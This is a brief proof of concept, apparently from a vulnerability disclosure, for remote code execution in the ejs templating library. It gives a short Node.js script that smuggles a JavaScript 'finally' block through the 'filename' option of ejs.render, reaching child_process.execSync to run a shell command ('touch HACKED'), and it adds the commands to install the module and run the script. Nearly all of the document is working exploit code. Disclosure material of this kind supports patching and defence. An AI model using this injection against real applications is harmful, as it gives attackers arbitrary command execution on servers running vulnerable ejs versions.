Remote Code Execution (RCE) in ejs
// poc.js
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
npm i ejs # Install affected module
node poc.js # Run the PoC